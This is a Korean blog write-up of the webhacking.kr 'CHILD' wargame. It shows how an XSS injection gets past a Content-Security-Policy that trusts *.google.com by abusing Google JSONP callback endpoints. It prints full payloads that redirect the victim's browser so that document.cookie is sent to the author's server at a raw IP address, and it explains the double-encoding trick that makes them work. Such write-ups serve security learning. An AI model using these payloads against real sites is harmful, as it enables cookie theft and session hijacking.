Sechack
webhacking.kr CHILD 풀이 본문
태그 인젝션이 가능하다. report기능이 있으니까 xss를 하면 된다.
Content-Security-Policy: script-src https://*.google.com/
하지만 이러한 CSP에 걸린다. *.google.com에서 오는 javascript만 허용하고 있다. 자 그러면 풀이방법은 브라우저 0-day찾거나 *.google.com도메인으로 돌아가는 서비스에서 멋지게 RCE트리거해서 xss.js만들어준다음 로드시키면 끝난다.(?)
장난이고 구글은 방대한 서비스이다. 구글 서비스중에서 javascript를 실행할 수 있는걸 찾으면 된다. 방대한 구글 서비스들의 소스코드를 하나하나 분석하는건 미친짓이니까 google jsonp xss 이런식의 키워드로 구글링을 해보면
https://github.com/zigoo0/JSONBee
이러한 github이 나온다. 대충 내용을 보면
<script src="https://cse.google.com/api/007627024705277327428/cse/r3vs7b0fcli/queries/js?callback=alert(1337)"></script>
이렇게 callback에다가 요청을 보내는 url이 보인다. cse.google.com에 있는 JSONP니까 CSP를 우회할 수 있을것같다. 한번 잘 되는지 해보자.
잘 실행된다. 그렇다면 이제 javascript이용해서 쿠키를 내 개인서버로 보내면 끝난다.
?inject=<script src="https://cse.google.com/api/007627024705277327428/cse/r3vs7b0fcli/queries/js?callback=document.location.href='http://118.37.149.205:9999?cookie='%252bdocument.cookie"></script>
그래서 이렇게 날렸는데 아무리 해도 안된다...ㅋㅋ 개발자도구 콘솔 보니까 CORB때문에 안되는것 같았다. 그래서 다른 JSONP를 찾아보았다. 구글링 계속 더 해본 결과
https://www.arridae.com/blogs/bypass-csp.php
이 사이트를 발견했고
https://accounts.google.com/o/oauth2/revoke?callback=alert(1)
이런식으로 보내는걸 볼 수 있었다.
역시나 트리거 된다. 이것도 한번 내 개인서버로 리다이렉트를 시도해보자.
실행 도중에 에러가 터졌다. 아마 내가 입력한 javascript랑 저기 저 json 데이터랑 하나의 묶음으로 인식하는듯 한다. 그러면 세미콜론을 이용해서 독립된 문장으로 만들어보자.
리다이렉트가 성공적으로 된다. 지금 로컬 컴퓨터에서 서버를 연거라서 본인 컴퓨터에서 외부아이피 이용해서 접속하려고하면 연결할 수 없다 뜨는데 다른사람 컴에서는 정상접속 될것이다.
?inject=<script src="https://accounts.google.com/o/oauth2/revoke?callback=document.location.href='http://118.37.149.205:9999?cookie='%252bdocument.cookie;"></script>
결론은 이렇게 보내면 내 개인서버로 쿠키가 딸려들어와서 플래그를 얻을 수 있다. 그리고 url+document.cookie할때 +를 2번 url인코딩 해준 이유는 그냥 url에 +를 넣으면 공백으로 인식된다. 그렇다고 %2b를 넣어도 공백으로 인식되는것이다. 따라서 한번더 인코딩해서 %252b를 넣었더니 +로 잘 인식된다.
쿠키를 얻어왔다.
'Wargame' 카테고리의 다른 글
pwnable.tw - Kidding (0) | 2021.08.26 |
---|---|
DreamHack - tiny backdoor 풀이 (0) | 2021.07.12 |
webhacking.kr RPG1 풀이 (0) | 2021.07.08 |
webhacking.kr baby 풀이 (0) | 2021.07.08 |
HackCTF - Let'S get it ! Boo*4 풀이 (0) | 2021.06.08 |